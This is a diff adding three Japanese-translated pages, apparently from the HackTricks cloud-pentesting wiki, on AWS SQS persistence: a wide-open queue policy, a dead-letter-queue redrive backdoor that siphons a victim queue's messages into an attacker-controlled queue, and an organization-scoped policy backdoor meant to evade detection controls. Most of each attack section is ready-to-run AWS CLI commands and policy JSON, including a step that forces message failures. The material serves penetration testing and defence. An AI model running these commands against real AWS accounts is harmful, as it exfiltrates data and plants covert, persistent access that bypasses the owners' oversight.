Translated ['src/pentesting-cloud/aws-security/aws-unauthenticated-enum-

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md

@@ -0,0 +1,47 @@
+# AWS - SQS 永続化
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+詳細は次を参照してください:
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### リソースポリシーの使用
+
+SQSでは、IAM policyで**誰が読み書きできるか**を指定する必要があります。外部アカウントやロールのARN、または**"*"**を指定することも可能です。\
+次のポリシーは、AWS内の全員に対して、**MyTestQueue**というキュー内のすべてへのアクセスを許可します:
+```json
+{
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__owner_statement",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": ["SQS:*"],
+"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
+}
+]
+}
+```
+> [!NOTE]
+> キューに新しいメッセージが投入されるたびに、**attacker's account 内の Lambda をトリガーすることもできます**（再度 re-put する必要があります）。これを行うには次の手順に従ってください: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
+
+### その他の SQS 永続化テクニック
+
+{{#ref}}
+aws-sqs-dlq-backdoor-persistence.md
+{{#endref}}
+
+{{#ref}}
+aws-sqs-orgid-policy-backdoor.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md

@@ -0,0 +1,71 @@
+# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+SQS Dead-Letter Queues (DLQs) を悪用して、victim source queue の RedrivePolicy を attacker-controlled queue に向けることでデータを密かに siphon できます。maxReceiveCount を低く設定し、正常な処理失敗を誘発するか待つことで、メッセージは producers や Lambda event source mappings を変更せずに自動的に attacker DLQ に迂回されます。
+
+## 悪用される権限
+- sqs:SetQueueAttributes を victim source queue に対して (RedrivePolicy を設定するため)
+- sqs:SetQueueAttributes を attacker DLQ に対して (RedriveAllowPolicy を設定するため)
+- 高速化のためのオプション: sqs:ReceiveMessage を source queue に対して
+- セットアップのオプション: sqs:CreateQueue, sqs:SendMessage
+
+## 同一アカウントでのフロー (allowAll)
+
+準備 (attacker account or compromised principal):
+```bash
+REGION=us-east-1
+# 1) Create attacker DLQ
+ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
+ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# 2) Allow any same-account source queue to use this DLQ
+aws sqs set-queue-attributes \
+--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'
+```
+実行（被害者アカウント内で、侵害されたプリンシパルとして実行）：
+```bash
+# 3) Point victim source queue to attacker DLQ with low retries
+VICTIM_SRC_URL=<victim source queue url>
+ATTACKER_DLQ_ARN=<attacker dlq arn>
+aws sqs set-queue-attributes \
+--queue-url "$VICTIM_SRC_URL" --region $REGION \
+--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'
+```
+加速（任意）:
+```bash
+# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
+for i in {1..2}; do \
+aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
+--max-number-of-messages 10 --visibility-timeout 0; \
+done
+```
+検証:
+```bash
+# 5) Confirm messages appear in attacker DLQ
+aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--max-number-of-messages 10 --attribute-names All --message-attribute-names All
+```
+例の証拠（Attributes に DeadLetterQueueSourceArn が含まれる）:
+```json
+{
+"MessageId": "...",
+"Body": "...",
+"Attributes": {
+"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
+}
+}
+```
+## Cross-Account Variant (byQueue)
+攻撃者のDLQに対してRedriveAllowPolicyを設定し、特定の被害者のソースキューARNのみを許可する:
+```bash
+VICTIM_SRC_ARN=<victim source queue arn>
+aws sqs set-queue-attributes \
+--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'
+```
+## 影響
+- 自動的に被害者の SQS ソースキューから失敗したメッセージを攻撃者が管理する DLQ に迂回させることで、最小限の運用ノイズかつ送信元や Lambda マッピングの変更は不要で、ステルス性が高く永続的な data exfiltration/persistence を実現します。
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md

@@ -0,0 +1,38 @@
+# AWS - SQS OrgID Policy Backdoor
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+SQS キューのリソースポリシーを悪用して、条件 aws:PrincipalOrgID を使用し、ターゲットの AWS Organization に属する任意の principal に対して Send、Receive、ChangeMessageVisibility を静かに付与します。これにより、組織スコープの隠れた経路が作成され、明示的なアカウントや role ARNs、または star principals のみを検出するコントロールを回避することが多くなります。
+
+### Backdoor policy (attach to the SQS queue policy)
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "OrgScopedBackdoor",
+"Effect": "Allow",
+"Principal": "*",
+"Action": [
+"sqs:ReceiveMessage",
+"sqs:SendMessage",
+"sqs:ChangeMessageVisibility",
+"sqs:GetQueueAttributes"
+],
+"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME",
+"Condition": {
+"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" }
+}
+}
+]
+}
+```
+### 手順
+- AWS Organizations API を使って Organization ID を取得する。
+- SQS queue ARN を取得し、上記のステートメントを含む queue policy を設定する。
+- その Organization に属する任意の principal から、キューにメッセージを送信・受信してアクセスを検証する。
+
+### 影響
+- 指定した AWS Organization 内の任意のアカウントから SQS messages を読み書きできる、Organization 全体への隠れたアクセス。
+
+{{#include ../../../../banners/hacktricks-training.md}}